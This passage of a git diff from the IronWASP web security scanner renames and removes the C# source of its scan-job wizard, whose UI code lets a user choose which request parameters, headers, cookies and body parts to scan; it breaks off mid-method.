System.Windows.Forms.CheckBox ScanURLCB; + internal System.Windows.Forms.CheckBox ScanBodyCB; + internal System.Windows.Forms.CheckBox ScanQueryCB; + internal System.Windows.Forms.CheckBox ScanAllCB; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label UrlPathPartInjectionMessageLbl; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label BodyInjectionMessageLbl; + private System.Windows.Forms.Label AllHeaderPointsSelectedLbl; + private System.Windows.Forms.Label AllHeaderPointsAvlLbl; + private System.Windows.Forms.Label AllCookiePointsSelectedLbl; + private System.Windows.Forms.Label AllCookiePointsAvlLbl; + private System.Windows.Forms.Label AllBodyPointsSelectedLbl; + private System.Windows.Forms.Label AllBodyPointsAvlLbl; + private System.Windows.Forms.Label AllQueryPointsSelectedLbl; + private System.Windows.Forms.Label AllQueryPointsAvlLbl; + private System.Windows.Forms.Label AllUrlPointsSelectedLbl; + private System.Windows.Forms.Label AllUrlPointsAvlLbl; + private System.Windows.Forms.Label AllPointsSelectedLbl; + private System.Windows.Forms.Label AllPointsAvlLbl; + private System.Windows.Forms.Label label19; + private System.Windows.Forms.Label BlacklistItemsCountLbl; + private System.Windows.Forms.TextBox textBox7; + private System.Windows.Forms.TextBox ParametersBlacklistTB; + private System.Windows.Forms.TextBox textBox8; + private System.Windows.Forms.Button StepFourPreviousBtn; + private System.Windows.Forms.CheckBox RequestSSLCB; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.CheckBox SelectAllChecksCB; + internal System.Windows.Forms.TextBox Step1StatusTB; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Panel panel7; + private System.Windows.Forms.Panel panel6; + private System.Windows.Forms.Panel panel4; + private System.Windows.Forms.Label AllNamesPointsAvlLbl; + private System.Windows.Forms.Label AllNamesPointsSelectedLbl; + internal System.Windows.Forms.TextBox Step2StatusTB; + private System.Windows.Forms.ProgressBar Step2ProgressBar; + internal System.Windows.Forms.Label label7; + internal System.Windows.Forms.DataGridView ScanQueryGrid; + internal System.Windows.Forms.TextBox Step3StatusTB; + private System.Windows.Forms.TabPage CustomMarkerEscapingTab; + internal System.Windows.Forms.DataGridView CharacterEscapingGrid; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox textBox12; + private System.Windows.Forms.TextBox EncodedCharacterTB; + private System.Windows.Forms.TextBox RawCharacterTB; + private System.Windows.Forms.Button AddToEscapeRuleBtn; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label9; + internal System.Windows.Forms.TextBox CharacterEscapingStatusTB; + private System.Windows.Forms.ContextMenuStrip CharacterEscapingMenu; + private System.Windows.Forms.ToolStripMenuItem EditRuleToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem DeleteRuleToolStripMenuItem; + private System.Windows.Forms.DataGridViewCheckBoxColumn EscapingSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn RawCharacterColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ArrowColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn EncodedCharacterColumn; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.LinkLabel PlaceInjectionMarkerLL; + private SearchableTextBox SetCustomInjectionPointsSTB; + private System.Windows.Forms.CheckBox ScanThreadLimitCB; + private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; + private System.Windows.Forms.LinkLabel RefreshSessListLL; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label11; + internal System.Windows.Forms.ComboBox SessionPluginsCombo; + internal System.Windows.Forms.ComboBox LoginRecordingComboBox; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.LinkLabel StartLoginRecorderLL; + + } } \ No newline at end of file diff --git a/IronWASP/StartScanJobWizard.cs b/Iron/StartScanJobWizard.cs similarity index 96% rename from IronWASP/StartScanJobWizard.cs rename to Iron/StartScanJobWizard.cs index 957981d..d823999 100644 --- a/IronWASP/StartScanJobWizard.cs +++ b/Iron/StartScanJobWizard.cs @@ -1,1926 +1,1976 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class StartScanJobWizard : Form - { - bool CanClose = false; - - Fuzzer Fuzz = null; - - bool ScanJobMode = true; - - internal SessionPluginCreationAssistant SCA = null; - int CurrentStep = 0; - - Request RequestToScan = null; - bool RequestHeadersChanged = false; - bool RequestBodyChanged = false; - bool RequestSSLCheckChanged = false; - - bool WasParametersBlackListChanged = false; - bool ShouldSetInjectionPoints = true; - - bool UrlPathPartRequiresExplicitSelection = false; - - Thread BodyDeserializeThread; - - internal static List ParametersBlackList = new List(); - static List SelectedEncodingRules = new List(); - string CurrentStartMarker = ""; - string CurrentEndMarker = ""; - - public StartScanJobWizard() - { - InitializeComponent(); - - if (!ScanJobMode) - { - BaseTabs.TabPages.RemoveAt(1); - } - } - - internal Fuzzer GetFuzzer() - { - return this.Fuzz; - } - - private void ScanJobCustomizeBtn_Click(object sender, EventArgs e) - { - if (IsScanCustomizationAssistanctOpen()) - { - SCA.Activate(); - } - else - { - SCA = new SessionPluginCreationAssistant(); - SCA.Show(); - } - } - - bool IsScanCustomizationAssistanctOpen() - { - if (SCA == null) - { - return false; - } - else - { - if (SCA.IsDisposed) - { - return false; - } - else - { - return true; - } - } - } - - private void StartScanJobWizard_Load(object sender, EventArgs e) - { - //IronUI.AddStartScanJobWizard(this); - if (ScanJobMode) - { - SetScanPluginsGrid(); - } - SetParametersBlackList(); - SetCharacterEscapingRules(); - SetSessionPluginsCombo(); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.CanClose = true; - this.Close(); - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - ShowStep0Status(""); - if (UpdateCurrentRequestFromUi()) - { - CurrentStep = 1; - BaseTabs.SelectTab(1); - } - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - CurrentStep = 0; - BaseTabs.SelectTab(0); - } - - private void StepTwoNextBtn_Click(object sender, EventArgs e) - { - ShowStep1Status(""); - if (IsCheckSelectionOk()) - { - CurrentStep = 2; - BaseTabs.SelectTab(2); - } - } - - private void StepThreePreviousBtn_Click(object sender, EventArgs e) - { - if (ScanJobMode) - { - CurrentStep = 1; - BaseTabs.SelectTab(1); - } - else - { - CurrentStep = 0; - BaseTabs.SelectTab(0); - } - } - - private void StepThreeNextBtn_Click(object sender, EventArgs e) - { - ShowStep2Status(""); - if (IsInjectionPointSelectionOk()) - { - if (ScanJobMode) - { - CurrentStep = 3; - BaseTabs.SelectTab(3); - } - else - { - CurrentStep = 2; - BaseTabs.SelectTab(2); - } - } - } - - private void StepFourPreviousBtn_Click(object sender, EventArgs e) - { - if (ScanJobMode) - { - CurrentStep = 2; - BaseTabs.SelectTab(2); - } - else - { - CurrentStep = 1; - BaseTabs.SelectTab(1); - } - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (BaseTabs.SelectedIndex != CurrentStep) - { - BaseTabs.SelectTab(CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - else if ((ScanJobMode && CurrentStep == 2) || (!ScanJobMode && CurrentStep == 1)) - { - CheckAndUpdateInjectionPointsInUi(); - } - } - - - - #region Step0Actions - internal void SetRequest(Request Req) - { - this.RequestToScan = Req; - UpdateRequestInUi(); - - } - internal void SetFuzzer(Fuzzer Fuzz) - { - this.Fuzz = Fuzz; - this.SetRequest(Fuzz.OriginalRequest); - this.ScanJobMode = false; - this.ScanThreadLimitCB.Visible = false; - BaseTabs.TabPages.RemoveAt(1); - FinalBtn.Text = "Done"; - this.Text = "Configure Scan/Fuzz Settings"; - this.Step2TopMsgTB.Text = @"Select which parameters and sections of the Request must be scanned. - -You can either select all parameters or entire sections for scanning. Or go through the different tabs below and select the exact parameters you want be to scanned to perform a high precision scan."; - } - void UpdateRequestInUi() - { - this.RequestRawHeadersIDV.Text = this.RequestToScan.GetHeadersAsString(); - this.RequestRawBodyIDV.Text = this.RequestToScan.BodyString; - this.RequestRawBodyIDV.ReadOnly = this.RequestToScan.IsBinary; - this.RequestSSLCB.Checked = this.RequestToScan.SSL; - } - bool UpdateCurrentRequestFromUi() - { - if (this.RequestHeadersChanged) - { - try - { - byte[] Body = new byte[]{}; - if (this.RequestToScan != null) - Body = this.RequestToScan.BodyArray; - this.RequestToScan = new Request(this.RequestRawHeadersIDV.Text.TrimEnd(), this.RequestSSLCB.Checked); - this.RequestToScan.BodyArray = Body; - } - catch (Exception Exp) - { - ShowStep0Error(Exp.Message); - return false; - } - } - if(this.RequestBodyChanged) - { - if (this.RequestToScan == null) - { - ShowStep0Error("Invalid Request"); - return false; - } - else - { - try - { - this.RequestToScan.BodyString = this.RequestRawBodyIDV.Text; - } - catch (Exception Exp) - { - ShowStep0Error(Exp.Message); - return false; - } - } - } - if (this.RequestSSLCheckChanged) - { - if (this.RequestToScan == null) - { - ShowStep0Error("Invalid Request"); - return false; - } - else - { - this.RequestToScan.SSL = this.RequestSSLCB.Checked; - } - } - return true; - } - void ShowStep0Status(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Black; - this.Step0StatusTB.Visible = true; - } - } - void ShowStep0Error(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - #endregion - #region Step1Actions - void ShowStep1Status(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Black; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - bool IsCheckSelectionOk() - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) return true; - } - ShowStep1Error("You did not select any checks. Atleast one check must be selected"); - return false; - } - - #endregion - #region Step2Actions - bool IsInjectionPointSelectionOk() - { - CheckAndUpdateParametersBlackList(); - UpdateInjectionPointLabels(); - if (AllPointsSelectedLbl.Text.Equals("0")) - { - ShowStep2Error("No injection points selected. Select atleast one injection point."); - return false; - } - return true; - } - void SetParametersBlackList() - { - ParametersBlacklistTB.Text = ""; - StringBuilder SB = new StringBuilder(); - foreach (string ParameterName in ParametersBlackList) - { - SB.AppendLine(ParameterName); - } - ParametersBlacklistTB.Text = SB.ToString(); - } - void SetCharacterEscapingRules() - { - if (Scanner.UserSpecifiedEncodingRuleList.Count == 0) - { - Scanner.UserSpecifiedEncodingRuleList.AddRange(Scanner.DefaultEncodingRuleList); - } - CharacterEscapingGrid.Rows.Clear(); - foreach (string[] Rule in Scanner.UserSpecifiedEncodingRuleList) - { - bool Selected = false; - foreach (string[] R in SelectedEncodingRules) - { - if (Rule[0].Equals(R[0]) && Rule[1].Equals(R[1])) - { - Selected = true; - break; - } - } - CharacterEscapingGrid.Rows.Add(new object[]{Selected, Rule[0], "->", Rule[1]}); - } - } - delegate void ShowStep2Status_d(string Text); - void ShowStep2Status(string Text) - { - if (InjectionPointBaseTabs.InvokeRequired) - { - ShowStep2Status_d SS_d = new ShowStep2Status_d(ShowStep2Status); - InjectionPointBaseTabs.Invoke(SS_d, new object[] { Text }); - } - else - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Black; - this.Step2StatusTB.Visible = true; - } - } - } - delegate void ShowStep2Error_d(string Text); - void ShowStep2Error(string Text) - { - if (InjectionPointBaseTabs.InvokeRequired) - { - ShowStep2Error_d SE_d = new ShowStep2Error_d(ShowStep2Error); - InjectionPointBaseTabs.Invoke(SE_d, new object[] { Text }); - } - else - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - } - void CheckAndUpdateInjectionPointsInUi() - { - if (ShouldSetInjectionPoints) UpdateInjectionPointsInUi(); - } - void UpdateInjectionPointsInUi() - { - InjectionPointBaseTabs.Visible = false; - StepThreePreviousBtn.Enabled = false; - StepThreeNextBtn.Enabled = false; - Step2ProgressBar.Visible = true; - Step2StatusTB.Visible = false; - ShouldSetInjectionPoints = false; - Thread T = new Thread(SetInjectionPointsInUi); - T.Start(); - } - - delegate void UpdateInjectionPointLabels_d(); - void UpdateInjectionPointLabels() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - UpdateInjectionPointLabels_d UIPL_d = new UpdateInjectionPointLabels_d(UpdateInjectionPointLabels); - InjectionPointBaseTabs.Invoke(UIPL_d, new object[] { }); - } - else - { - #region Names - int NamesPointsAvlCount = 4; - AllNamesPointsAvlLbl.Text = NamesPointsAvlCount.ToString(); - int NamesPointsSelectedCount = 0; - if (ScanQueryParameterNameCB.Checked) NamesPointsSelectedCount++; - if (ScanBodyParameterNameCB.Checked) NamesPointsSelectedCount++; - if (ScanCookieParameterNameCB.Checked) NamesPointsSelectedCount++; - if (ScanHeadersParameterNameCB.Checked) NamesPointsSelectedCount++; - AllNamesPointsSelectedLbl.Text = NamesPointsSelectedCount.ToString(); - #endregion - #region Headers - int HeaderPointsAvlCount = ScanHeadersGrid.Rows.Count; - int HeaderPointsSelectedCount = 0; - foreach (DataGridViewRow Row in ScanHeadersGrid.Rows) - { - if ((bool)Row.Cells[0].Value) HeaderPointsSelectedCount++; - } - AllHeaderPointsAvlLbl.Text = HeaderPointsAvlCount.ToString(); - AllHeaderPointsSelectedLbl.Text = HeaderPointsSelectedCount.ToString(); - #endregion - #region Cookie - int CookiePointsAvlCount = ScanCookieGrid.Rows.Count; - int CookiePointsSelectedCount = 0; - foreach (DataGridViewRow Row in ScanCookieGrid.Rows) - { - if ((bool)Row.Cells[0].Value) CookiePointsSelectedCount++; - } - AllCookiePointsAvlLbl.Text = CookiePointsAvlCount.ToString(); - AllCookiePointsSelectedLbl.Text = CookiePointsSelectedCount.ToString(); - #endregion - #region Body - int BodyPointsAvlCount = 0; - int BodyPointsSelectedCount = 0; - if (BodyTypeNormalRB.Checked) - { - BodyPointsAvlCount = ScanBodyTypeNormalGrid.Rows.Count; - foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) - { - if ((bool)Row.Cells[0].Value) BodyPointsSelectedCount++; - } - } - else if (BodyTypeFormatPluginRB.Checked) - { - BodyPointsAvlCount = BodyTypeFormatPluginGrid.Rows.Count; - foreach (DataGridViewRow Row in BodyTypeFormatPluginGrid.Rows) - { - if ((bool)Row.Cells[0].Value) BodyPointsSelectedCount++; - } - } - else if (BodyTypeCustomRB.Checked) - { - try - { - int CustomInjectionPointsCount = Int32.Parse(CustomInjectionPointsHighlightLbl.Text); - BodyPointsAvlCount = CustomInjectionPointsCount; - BodyPointsSelectedCount = CustomInjectionPointsCount; - } - catch - { - BodyPointsAvlCount = 0; - BodyPointsSelectedCount = 0; - } - } - AllBodyPointsAvlLbl.Text = BodyPointsAvlCount.ToString(); - AllBodyPointsSelectedLbl.Text = BodyPointsSelectedCount.ToString(); - #endregion - #region Query - int QueryPointsAvlCount = ScanQueryGrid.Rows.Count; - int QueryPointsSelectedCount = 0; - foreach (DataGridViewRow Row in ScanQueryGrid.Rows) - { - if ((bool)Row.Cells[0].Value) QueryPointsSelectedCount++; - } - AllQueryPointsAvlLbl.Text = QueryPointsAvlCount.ToString(); - AllQueryPointsSelectedLbl.Text = QueryPointsSelectedCount.ToString(); - #endregion - #region Url - int UrlPointsAvlCount = ScanURLGrid.Rows.Count; - int UrlPointsSelectedCount = 0; - foreach (DataGridViewRow Row in ScanURLGrid.Rows) - { - if ((bool)Row.Cells[0].Value) UrlPointsSelectedCount++; - } - AllUrlPointsAvlLbl.Text = UrlPointsAvlCount.ToString(); - AllUrlPointsSelectedLbl.Text = UrlPointsSelectedCount.ToString(); - #endregion - #region All - int AllPointsAvlCount = NamesPointsAvlCount + HeaderPointsAvlCount + CookiePointsAvlCount + BodyPointsAvlCount + QueryPointsAvlCount + UrlPointsAvlCount; - int AllPointsSelectedCount = NamesPointsSelectedCount + HeaderPointsSelectedCount + CookiePointsSelectedCount + BodyPointsSelectedCount + QueryPointsSelectedCount + UrlPointsSelectedCount; - AllPointsAvlLbl.Text = AllPointsAvlCount.ToString(); - AllPointsSelectedLbl.Text = AllPointsSelectedCount.ToString(); - #endregion - #region ParameterBlaacklist - BlacklistItemsCountLbl.Text = ParametersBlacklistTB.Text.Trim().Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries).Length.ToString(); - #endregion - } - } - - void SetInjectionPointsInUi() - { - SetUrlInjectionPointsInUi(); - SetQueryInjectionPointsInUi(); - SetBodyInjectionPointsInUi(); - SetCookieInjectionPointsInUi(); - SetHeaderInjectionPointsInUi(); - UpdateInjectionPointLabels(); - FinishUpdatingInjectionPointsInUi(); - } - delegate void SetUrlInjectionPointsInUi_d(); - void SetUrlInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetUrlInjectionPointsInUi_d SUIPIU_d = new SetUrlInjectionPointsInUi_d(SetUrlInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SUIPIU_d, new object[] { }); - } - else - { - ScanURLGrid.Rows.Clear(); - List UPP = RequestToScan.UrlPathParts; - for (int i = 0; i < UPP.Count; i++) - { - ScanURLGrid.Rows.Add(new object[] { false, i, UPP[i] }); - } - if (RequestToScan.Query.Count > 0) - { - SetUrlPathPartMessage("Url has Querystring so path parts would require explicit selection."); - UrlPathPartRequiresExplicitSelection = true; - } - else if (RequestToScan.File.Length > 0) - { - SetUrlPathPartMessage(string.Format("Url ends with file extention - {0}, so path parts would require explicit selection.", RequestToScan.File)); - UrlPathPartRequiresExplicitSelection = true; - } - else - { - SetUrlPathPartMessage("Url does not have file extension or querystring, indicates possible use of URL rewriting."); - UrlPathPartRequiresExplicitSelection = false; - } - } - } - delegate void SetQueryInjectionPointsInUi_d(); - void SetQueryInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetQueryInjectionPointsInUi_d SQIPIU_d = new SetQueryInjectionPointsInUi_d(SetQueryInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SQIPIU_d, new object[] { }); - } - else - { - ScanQueryGrid.Rows.Clear(); - foreach (string ParameterName in RequestToScan.Query.GetNames()) - { - foreach (string ParameterValue in RequestToScan.Query.GetAll(ParameterName)) - { - ScanQueryGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); - } - } - } - } - void SetBodyInjectionPointsInUi() - { - SetDefaultBodyTabValues(); - SetBodyTypeNormalInjectionPointsInUi(); - if (RequestToScan.BodyLength == 0) - { - SetBodyTypeMessage("Request does not have a body"); - return; - } - if (FormatPlugin.IsNormal(RequestToScan)) - { - SetBodyTypeMessage("Request body looks to be of normal format"); - } - else - { - string FPName = FormatPlugin.Get(RequestToScan); - if (FPName.Length > 0 && FPName != "Normal") - { - string FormatPluginName = FPName; - FormatPlugin FP = FormatPlugin.Get(FPName); - string XML = FP.ToXmlFromRequest(RequestToScan); - string[,] XmlInjectionPoints = FormatPlugin.XmlToArray(XML); - SetBodyTypeFormatPluginInjectionPointsInUi(FormatPluginName, XmlInjectionPoints, XML); - SetBodyTypeMessage(string.Format("Request body format has been auto-detected as '{0}'", FormatPluginName)); - } - else - { - SetBodyTypeMessage("Request body format is not normal. Use the options under Body tab to handle the body injection."); - } - } - } - delegate void SetDefaultBodyTabValues_d(); - void SetDefaultBodyTabValues() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetDefaultBodyTabValues_d SDBTV_d = new SetDefaultBodyTabValues_d(SetDefaultBodyTabValues); - InjectionPointBaseTabs.Invoke(SDBTV_d, new object[] { }); - } - else - { - if (CurrentStartMarker.Length == 0 || CurrentEndMarker.Length == 0 || CurrentStartMarker == CurrentEndMarker) - { - CurrentStartMarker = Scanner.DefaultStartMarker; - CurrentEndMarker = Scanner.DefaultEndMarker; - } - CustomStartMarkerTB.Text = CurrentStartMarker; - CustomEndMarkerTB.Text = CurrentEndMarker; - SetCustomInjectionPointsSTB.Text = RequestToScan.BodyString; - HighlightCustomInjectionPointsRTB.Text = RequestToScan.BodyString; - - BodyTypeFormatPluginGrid.Rows.Clear(); - FormatXMLTB.Text = ""; - FormatPluginsGrid.Rows.Clear(); - foreach (string Name in FormatPlugin.List()) - { - FormatPluginsGrid.Rows.Add(new object[]{false, Name}); - } - - ScanBodyTypeNormalGrid.Rows.Clear(); - BodyTypeNormalRB.Checked = true; - } - } - delegate void SetBodyTypeNormalInjectionPointsInUi_d(); - void SetBodyTypeNormalInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetBodyTypeNormalInjectionPointsInUi_d SBIPIU_d = new SetBodyTypeNormalInjectionPointsInUi_d(SetBodyTypeNormalInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SBIPIU_d, new object[] { }); - } - else - { - ScanBodyTypeNormalGrid.Rows.Clear(); - foreach (string ParameterName in RequestToScan.Body.GetNames()) - { - if (ParameterName.Equals("Content-Length", StringComparison.OrdinalIgnoreCase)) continue; - foreach (string ParameterValue in RequestToScan.Body.GetAll(ParameterName)) - { - ScanBodyTypeNormalGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); - } - } - BodyTypeNormalRB.Checked = true; - } - } - delegate void SetBodyTypeFormatPluginInjectionPointsInUi_d(string FormatPluginName, string[,] InjectionArray, string XML); - void SetBodyTypeFormatPluginInjectionPointsInUi(string FormatPluginName, string[,] InjectionArray, string XML) - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetBodyTypeFormatPluginInjectionPointsInUi_d SBIPIU_d = new SetBodyTypeFormatPluginInjectionPointsInUi_d(SetBodyTypeFormatPluginInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SBIPIU_d, new object[] { FormatPluginName, InjectionArray, XML }); - } - else - { - BodyTypeFormatPluginGrid.Rows.Clear(); - for (int i = 0; i < InjectionArray.GetLength(0); i++) - { - BodyTypeFormatPluginGrid.Rows.Add(new object[] { false, InjectionArray[i, 0], InjectionArray[i,1] }); - } - FormatXMLTB.Text = XML; - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(FormatPluginName)) - Row.Cells[0].Value = true; - else - Row.Cells[0].Value = false; - } - BodyTypeFormatPluginRB.Checked = true; - ScanBodyFormatPluginTypeTabs.SelectTab("BodyTypeFormatPluginInjectionArrayGridTab"); - } - } - delegate void SetBodyTypeCustomInjectionPointsInUi_d(); - void SetBodyTypeCustomInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetBodyTypeCustomInjectionPointsInUi_d SBIPIU_d = new SetBodyTypeCustomInjectionPointsInUi_d(SetBodyTypeCustomInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SBIPIU_d, new object[] { }); - } - else - { - - string StartMarker = CustomStartMarkerTB.Text.Trim(); - string EndMarker = CustomEndMarkerTB.Text.Trim(); - if (StartMarker.Length == 0 || EndMarker.Length == 0) - { - ShowStep2Error("Start and End markers cannot be empty."); - return; - } - if (StartMarker.Equals(EndMarker)) - { - ShowStep2Error("Start and End markers cannot be the same."); - return; - } - int SSI = HighlightCustomInjectionPointsRTB.SelectionStart; - int SL = HighlightCustomInjectionPointsRTB.SelectionLength; - HighlightCustomInjectionPointsRTB.Text = SetCustomInjectionPointsSTB.Text; - bool CheckFurther = true; - int Pointer = 0; - //string Content = SetCustomInjectionPointsSTB.Text; - string Content = HighlightCustomInjectionPointsRTB.Text;//Using the text from RichTextBox as content instead of the TextBox since \r\n from TB is converted to \r in RTB and so the highlighting of markers is visually offset. This is done only for highlighting. - if (Content.Length == 0) - { - ShowStep2Error("No injection points detected."); - return; - } - int MatchCount = 0; - while (CheckFurther && Content.Length > Pointer) - { - int Start = Content.IndexOf(StartMarker, Pointer); - int Stop = -1; - if (Content.Length >= (Start + StartMarker.Length)) - Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); - if (Start == -1 || Stop == -1) CheckFurther = false; - if (CheckFurther) - { - HighlightCustomInjectionPointsRTB.SelectionStart = Start; - HighlightCustomInjectionPointsRTB.SelectionLength = (Stop + EndMarker.Length) - Start; - HighlightCustomInjectionPointsRTB.SelectionBackColor = Color.Orange; - MatchCount++; - } - Pointer = Stop + EndMarker.Length; - } - HighlightCustomInjectionPointsRTB.SelectionStart = SSI; - HighlightCustomInjectionPointsRTB.SelectionLength = SL; - - CustomInjectionPointsHighlightLbl.Text = MatchCount.ToString(); - if (MatchCount > 0) - ScanBodyCB.Checked = true; - else - ScanBodyCB.Checked = false; - CustomInjectionMarkerTabs.SelectTab("CustomMarkerDisplayTab"); - BodyTypeCustomRB.Checked = true; - } - } - delegate void SetCookieInjectionPointsInUi_d(); - void SetCookieInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetCookieInjectionPointsInUi_d SCIPIU_d = new SetCookieInjectionPointsInUi_d(SetCookieInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SCIPIU_d, new object[] { }); - } - else - { - ScanCookieGrid.Rows.Clear(); - foreach (string ParameterName in RequestToScan.Cookie.GetNames()) - { - foreach (string ParameterValue in RequestToScan.Cookie.GetAll(ParameterName)) - { - ScanCookieGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); - } - } - } - } - delegate void SetHeaderInjectionPointsInUi_d(); - void SetHeaderInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetHeaderInjectionPointsInUi_d SHIPIU_d = new SetHeaderInjectionPointsInUi_d(SetHeaderInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(SHIPIU_d, new object[] { }); - } - else - { - ScanHeadersGrid.Rows.Clear(); - foreach (string ParameterName in RequestToScan.Headers.GetNames()) - { - if (ParameterName.Equals("Host", StringComparison.OrdinalIgnoreCase) || ParameterName.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) continue; - foreach (string ParameterValue in RequestToScan.Headers.GetAll(ParameterName)) - { - ScanHeadersGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); - } - } - } - } - delegate void SetUrlPathPartMessage_d(string Message); - void SetUrlPathPartMessage(string Message) - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetUrlPathPartMessage_d SUPPM_d = new SetUrlPathPartMessage_d(SetUrlPathPartMessage); - InjectionPointBaseTabs.Invoke(SUPPM_d, new object[] { Message }); - } - else - { - UrlPathPartInjectionMessageLbl.Text = Message; - } - } - delegate void SetBodyTypeMessage_d(string Message); - void SetBodyTypeMessage(string Message) - { - if (InjectionPointBaseTabs.InvokeRequired) - { - SetBodyTypeMessage_d SBTM_d = new SetBodyTypeMessage_d(SetBodyTypeMessage); - InjectionPointBaseTabs.Invoke(SBTM_d, new object[] { Message }); - } - else - { - BodyInjectionMessageLbl.Text = Message; - } - } - delegate void FinishUpdatingInjectionPointsInUi_d(); - void FinishUpdatingInjectionPointsInUi() - { - if (InjectionPointBaseTabs.InvokeRequired) - { - FinishUpdatingInjectionPointsInUi_d FUIPIU_d = new FinishUpdatingInjectionPointsInUi_d(FinishUpdatingInjectionPointsInUi); - InjectionPointBaseTabs.Invoke(FUIPIU_d, new object[] { }); - } - else - { - InjectionPointBaseTabs.Visible = true; - StepThreePreviousBtn.Enabled = true; - StepThreeNextBtn.Enabled = true; - Step2ProgressBar.Visible = false; - Step2StatusTB.Visible = false; - } - } - void InjectAll(bool Inject) - { - if (Inject) - { - if (!UrlPathPartRequiresExplicitSelection) InjectUrl(Inject); - } - else - { - InjectUrl(Inject); - } - InjectQuery(Inject); - InjectBody(Inject); - InjectCookie(Inject); - InjectHeaders(Inject); - InjectNames(Inject); - } - void InjectUrl(bool Inject) - { - foreach (DataGridViewRow Row in ScanURLGrid.Rows) - { - Row.Cells[0].Value = Inject; - } - UpdateInjectionPointLabels(); - } - void InjectQuery(bool Inject) - { - foreach (DataGridViewRow Row in ScanQueryGrid.Rows) - { - if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - continue; - else - Row.Cells[0].Value = Inject; - } - UpdateInjectionPointLabels(); - } - void InjectBody(bool Inject) - { - if (BodyTypeNormalRB.Checked) - { - foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) - { - if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - continue; - else - Row.Cells[0].Value = Inject; - } - } - else if (BodyTypeFormatPluginRB.Checked) - { - foreach (DataGridViewRow 